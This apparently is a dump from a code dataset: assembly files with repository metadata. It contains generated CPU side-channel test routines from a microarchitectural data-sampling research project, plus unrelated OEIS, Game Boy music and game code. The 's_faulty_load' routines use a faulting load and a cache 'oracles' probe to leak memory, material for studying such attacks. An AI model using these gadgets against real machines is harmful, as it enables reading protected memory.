; 1,1,2,2,3,4,3,4,5,6,4,5,6,7,8,5,6,7,8,9,10,6,7,8,9,10,11,12,7,8,9,10,11,12,13,14,8,9,10,11,12,13,14,15,16,9,10,11,12,13,14,15,16,17,18,10,11,12,13,14,15,16,17,18,19,20,11,12,13,14,15,16,17,18,19,20,21,22,12,13,14,15,16,17,18,19,20,21,22,23,24,13,14,15,16,17,18,19,20,21,22,23,24,25,26,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39
mov $1,1
lpb $0,1
add $2,$0
sub $0,1
mov $1,$2
sub $2,$0
trn $0,$2
lpe
| 74.25
| 721
| 0.62514
|
e77c18cd0b3947273b45e2bd4dfa64909e9acd84
| 8,135
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_5270_176.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_5270_176.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_5270_176.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xe295, %rsi
lea addresses_normal_ht+0x19d35, %rdi
nop
inc %r8
mov $35, %rcx
rep movsq
nop
nop
sub $6322, %r11
lea addresses_UC_ht+0xcb35, %rbx
nop
nop
nop
nop
nop
xor $2437, %rdx
mov (%rbx), %edi
cmp %rbx, %rbx
lea addresses_D_ht+0x8335, %rsi
lea addresses_A_ht+0xda45, %rdi
nop
nop
nop
add %rbx, %rbx
mov $35, %rcx
rep movsw
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_WT_ht+0x1b6d, %rdx
nop
nop
nop
nop
nop
and %rbx, %rbx
movw $0x6162, (%rdx)
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_WT_ht+0xdf35, %rsi
lea addresses_A_ht+0x19b35, %rdi
nop
add %r11, %r11
mov $70, %rcx
rep movsl
and %r11, %r11
lea addresses_D_ht+0xaff5, %rcx
nop
nop
nop
nop
nop
cmp $799, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, (%rcx)
nop
nop
nop
nop
nop
dec %rdx
lea addresses_WT_ht+0x377d, %rsi
lea addresses_A_ht+0x18335, %rdi
nop
nop
nop
nop
nop
sub %rax, %rax
mov $103, %rcx
rep movsw
nop
nop
add $1454, %rcx
lea addresses_WC_ht+0x15d02, %rsi
lea addresses_normal_ht+0x1998d, %rdi
add %r8, %r8
mov $29, %rcx
rep movsw
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_normal_ht+0x13b35, %r11
nop
nop
nop
nop
nop
dec %rax
mov $0x6162636465666768, %rdx
movq %rdx, (%r11)
nop
nop
nop
add %rdx, %rdx
lea addresses_A_ht+0x70bd, %rbx
nop
nop
nop
nop
nop
lfence
movb (%rbx), %r8b
nop
nop
nop
nop
nop
add $12221, %rcx
lea addresses_UC_ht+0xe705, %rcx
clflush (%rcx)
mfence
vmovups (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r8
nop
nop
nop
and %r11, %r11
lea addresses_normal_ht+0x1ea45, %rdi
nop
inc %rax
vmovups (%rdi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rcx
cmp $36143, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
// Store
lea addresses_D+0x1ab35, %rcx
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r8
movq %r8, %xmm6
vmovups %ymm6, (%rcx)
nop
nop
xor %rdi, %rdi
// Store
lea addresses_D+0x1d635, %r9
sub %rdx, %rdx
movw $0x5152, (%r9)
nop
nop
nop
nop
nop
sub %r9, %r9
// Load
lea addresses_normal+0x15335, %r14
nop
nop
nop
nop
nop
xor $56968, %rdi
mov (%r14), %r11d
// Exception!!!
mov (0), %rcx
nop
nop
add %r14, %r14
// Store
lea addresses_D+0x16535, %r9
nop
nop
nop
nop
xor %rcx, %rcx
movb $0x51, (%r9)
nop
nop
nop
nop
nop
cmp %r9, %r9
// Faulty Load
lea addresses_D+0x1ab35, %r9
nop
nop
nop
nop
sub %r14, %r14
mov (%r9), %rcx
lea oracles, %r8
and $0xff, %rcx
shlq $12, %rcx
mov (%r8,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'58': 5270}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 30.468165
| 2,999
| 0.655194
|
ae6a6b6207b6e592ccb1a2b5d7c6aa376d29792a
| 5,644
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_16218_118.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_16218_118.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_16218_118.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1c1b3, %r12
nop
sub $47364, %r10
movl $0x61626364, (%r12)
cmp %r14, %r14
lea addresses_WC_ht+0x12973, %rax
nop
nop
nop
nop
nop
cmp $42585, %r12
mov (%rax), %edi
nop
xor $45633, %r12
lea addresses_D_ht+0x11a5, %rax
nop
nop
and $64212, %rsi
movw $0x6162, (%rax)
nop
add %rsi, %rsi
lea addresses_D_ht+0x46f7, %r10
nop
nop
nop
nop
nop
and $40855, %rdi
mov $0x6162636465666768, %r14
movq %r14, %xmm3
movups %xmm3, (%r10)
nop
nop
nop
add $52057, %rax
lea addresses_WT_ht+0xeb83, %rdi
nop
nop
nop
add $61216, %rsi
mov (%rdi), %eax
nop
nop
xor %r12, %r12
lea addresses_UC_ht+0x8e73, %rsi
lea addresses_normal_ht+0x6f33, %rdi
nop
add $60372, %rdx
mov $38, %rcx
rep movsq
sub $21406, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
mov $0xff3, %rsi
lea addresses_UC+0x11873, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub %rbp, %rbp
mov $86, %rcx
rep movsb
nop
nop
nop
nop
xor $63944, %rdi
// Faulty Load
lea addresses_D+0x8973, %rbx
nop
nop
sub %r8, %r8
mov (%rbx), %rdi
lea oracles, %rbp
and $0xff, %rdi
shlq $12, %rdi
mov (%rbp,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 6, 'same': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'36': 16218}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 41.5
| 2,999
| 0.657867
|
6bf37e3017bdb668ea958a40dd1f0880ff07d332
| 1,117
|
asm
|
Assembly
|
programs/oeis/055/A055952.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/055/A055952.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/055/A055952.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A055952: n + reversal of base 6 digits of n (written in base 10).
; 0,2,4,6,8,10,7,14,21,28,35,42,14,21,28,35,42,49,21,28,35,42,49,56,28,35,42,49,56,63,35,42,49,56,63,70,37,74,111,148,185,222,49,86,123,160,197,234,61,98,135,172,209,246,73,110,147,184,221,258,85,122,159,196,233,270,97,134,171,208,245,282,74,111,148,185,222,259,86,123,160,197,234,271,98,135,172,209,246,283,110,147,184,221,258,295,122,159,196,233,270,307,134,171,208,245,282,319,111,148,185,222,259,296,123,160,197,234,271,308,135,172,209,246,283,320,147,184,221,258,295,332,159,196,233,270,307,344,171,208,245,282,319,356,148,185,222,259,296,333,160,197,234,271,308,345,172,209,246,283,320,357,184,221,258,295,332,369,196,233,270,307,344,381,208,245,282,319,356,393,185,222,259,296,333,370,197,234,271,308,345,382,209,246,283,320,357,394,221,258,295,332,369,406,233,270,307,344,381,418,245,282,319,356,393,430,217,434,651,868,1085,1302,259,476,693,910,1127,1344,301,518,735,952,1169,1386,343,560,777,994,1211,1428,385,602,819,1036,1253,1470,427,644,861,1078
mov $2,$0
cal $0,30105 ; Base 6 reversal of n (written in base 10).
add $0,$2
mov $1,$0
| 139.625
| 959
| 0.725157
|
a9bdef9cae6279741278dc7f8beb48dd66716005
| 1,461
|
asm
|
Assembly
|
audio/music/mom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
audio/music/mom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
audio/music/mom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
Music_Mom:
musicheader 3, 2, Music_Mom_Ch2
musicheader 1, 3, Music_Mom_Ch3
musicheader 1, 4, Music_Mom_Ch4
Music_Mom_Ch2:
tempo 144
volume $77
stereopanning $f
dutycycle $2
notetype $6, $b3
octave 3
note B_, 1
octave 4
note E_, 1
note G#, 1
note A_, 1
note B_, 8
Music_Mom_branch_f6c0e:
notetype $c, $b1
note __, 4
octave 3
note C#, 6
note D_, 4
note C_, 2
note __, 2
note C#, 6
octave 2
note E_, 4
note A#, 2
note B_, 2
loopchannel 0, Music_Mom_branch_f6c0e
Music_Mom_Ch3:
stereopanning $f0
notetype $6, $25
octave 3
note E_, 1
note D_, 1
octave 2
note B_, 1
note G#, 1
note E_, 8
intensity $23
Music_Mom_branch_f6c2e:
octave 2
note A_, 2
note __, 6
octave 4
note E_, 2
note __, 2
octave 2
note A_, 2
note __, 2
octave 3
note D_, 2
note __, 2
octave 4
note F#, 8
note D#, 2
note __, 2
octave 2
note A_, 2
note __, 2
octave 4
note E_, 2
note __, 6
octave 2
note A_, 2
note __, 2
octave 4
note D_, 2
note __, 6
note C#, 4
note D_, 2
note __, 2
loopchannel 0, Music_Mom_branch_f6c2e
Music_Mom_Ch4:
togglenoise $3
notetype $c
note __, 6
Music_Mom_branch_f6c56:
note D#, 1
note __, 1
note F#, 2
note D_, 1
note __, 1
note G_, 1
note __, 1
note G_, 1
note __, 1
note F#, 4
note D_, 1
note __, 1
note D#, 1
note __, 1
note F#, 4
note D_, 1
note __, 1
note G_, 1
note __, 1
note G_, 1
note __, 1
note D_, 2
note D#, 1
note __, 1
loopchannel 0, Music_Mom_branch_f6c56
| 13.40367
| 38
| 0.661875
|
fbe0b106063d16ce4c404622c6c992acdf3ec8dc
| 1,546
|
asm
|
Assembly
|
src/collision.asm
|
Gegel85/SpaceShooterGB
|
7f1ff08708fd3ad91c911c7c91f8d07e1c7b2366
|
[
"MIT"
] | 3
|
2020-02-24T14:31:36.000Z
|
2020-03-28T22:38:57.000Z
|
src/collision.asm
|
Gegel85/SpaceShooterGB
|
7f1ff08708fd3ad91c911c7c91f8d07e1c7b2366
|
[
"MIT"
] | 4
|
2020-02-24T16:35:26.000Z
|
2020-02-26T16:47:11.000Z
|
src/collision.asm
|
Gegel85/SpaceShooterGB
|
7f1ff08708fd3ad91c911c7c91f8d07e1c7b2366
|
[
"MIT"
] | 1
|
2020-02-24T14:31:39.000Z
|
2020-02-24T14:31:39.000Z
|
; Collision between spaceship and asteroid
; Params:
; None
; Return:
; None
; Registers:
; N/A
checkCollisionSpaceshipAsteroid::
ld de, OBSTACLES_ADDR + 1
ld a, [NB_OBSTACLES]
.loop:
push af
ld a, [de]
inc de
inc a
inc a
ld b, a
add a, $C
ld hl, PLAYER1_STRUCT + PLAYER_STRUCT_Y_OFF
cp [hl]
jr c, .noCollide
ld a, [de]
inc a
inc a
ld c, a
add a, $C
ld hl, PLAYER1_STRUCT + PLAYER_STRUCT_X_OFF
cp [hl]
jr c, .noCollide
ld a, [PLAYER1_STRUCT + PLAYER_STRUCT_Y_OFF]
add a, PLAYER_SIZE_X
cp b
jr c, .noCollide
ld a, [PLAYER1_STRUCT + PLAYER_STRUCT_X_OFF]
add a, PLAYER_SIZE_Y
cp c
jr c, .noCollide
jp gameOver
.noCollide:
inc de
inc de
inc de
pop af
dec a
jr nz, .loop
ret
; When the spaceship is hitted
; Params:
; None
; Return:
; None
; Registers:
; N/A
gameOver::
reset CHANNEL3_ON_OFF
reset CHANNEL2_VOLUME
ld hl, destruction
call playNoiseSound
; tp camera to 0, 0
call waitVBLANK
xor a
ld [$FF42], a
ld [$FF43], a
reset LCD_CONTROL
reg BGP, %11011000
ld de, $9800
ld bc, $800
ld a, 1
call fillMemory
ld hl, gameOverText
ld bc, gameOverTextEnd - gameOverText
ld de, $9925
call copyMemory
ld hl, retry
ld bc, retryEnd - retry
ld de, $9984
call copyMemory
ld hl, menu
ld bc, menuEnd - menu
ld de, $99C4
call copyMemory
reg LCD_CONTROL, LCD_BASE_CONTROL
ld hl, gameOverSFX
call playSound
.loop:
call updateScore
call updateSound
reset INTERRUPT_REQUEST
halt
xor a
call getKeys
bit 7, a
jr z, .continue
bit 6, a
jr nz, .loop
jp mainMenu
.continue:
jp run
| 13.803571
| 45
| 0.696636
|
c947fe8e6a03b2a4b4ca0d3304ec35223a0ee1e6
| 525
|
asm
|
Assembly
|
programs/oeis/264/A264663.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/264/A264663.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/264/A264663.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A264663: Catalan numbers written in base 2.
; 1,1,10,101,1110,101010,10000100,110101101,10110010110,1001011111110,100000110011100,1110010110100010,110010110010001100,10110101010111110100,1010001100111100001000,100100111110111001111101,10000110111000001111100110,111101110100011100011110110,11100011110000011000000101100
seq $0,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!).
seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
| 87.5
| 275
| 0.807619
|
33c41050a91c2f5271cd77345283c3b211818fbe
| 793
|
asm
|
Assembly
|
oeis/024/A024869.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/024/A024869.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/024/A024869.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
